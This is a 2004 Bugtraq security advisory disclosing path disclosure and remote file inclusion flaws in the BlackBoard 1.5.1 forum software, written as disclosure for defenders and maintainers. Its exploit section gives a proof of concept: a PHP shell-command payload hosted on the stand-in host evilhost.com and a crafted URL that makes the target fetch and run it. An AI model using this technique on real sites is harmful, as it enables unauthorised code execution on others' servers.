bugtraq - Multiple vulnerabilities in BlackBoard

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Message-ID: <20041006105643.22566.qmail@www.securityfocus.com>
Date: 6 Oct 2004 10:56:43 -0000
From: Lin Xiaofeng <Cracklove@...il.Com>
To: bugtraq@...urityfocus.com
Subject: Multiple vulnerabilities in BlackBoard




Multiple vulnerabilities in BlackBoard

**********************************
*AuThor:Cracklove                *
*emA!l:Cracklove[at]Gmail[dot]Com*
*HoMePaGe:http://ProxySky.com    *
**********************************

[Info]

Website: http://blackboard.unclassified.de
Version: 1.5.1,Maybe prior
Problem: Full path disclosure,Include file

[Vuls]

1.Full path disclosure:

Let's try to request like this:

http://target/bb_lib/checkdb.inc.php

and we get standard error messages like that:

Warning: main(lang/_more.php): failed to open stream: No such file or directory in /www/web002/_blackboard/bb_lib/checkdb.inc.php on line 15

Fatal error: main(): Failed opening required 'lang/_more.php' (include_path='.:/usr/local/lib/php') in /www/web002/_blackboard/bb_lib/checkdb.inc.php on line 15

The Problem also in admin.inc.php,cp.inc.php etc.


2.Include file

Ok let's open ./bb_lib/admin.inc.php,We see

require($libpath . 'lang/' . $LANG . '_more.php');

Bingo!It is include vul!

[Exploit]

For example, if I had access to place files in a webspace http://evilhost.com/,I would create a directory "lang" and place
inside it a script called _more.php with content like the following:

<?
system("uname -a;id;ls -al");
?>

If we then make a request to the target machine like the following:

http://target/bb_lib/checkdb.inc.php?libpach=http://evilhost.com/

The code should be retrieved and executed.

[Fix]

Maybe a patch will release later.

[Greetings]

Greets To Xon,fatb,Envymask,h886,ToToDoDo And to all people in China.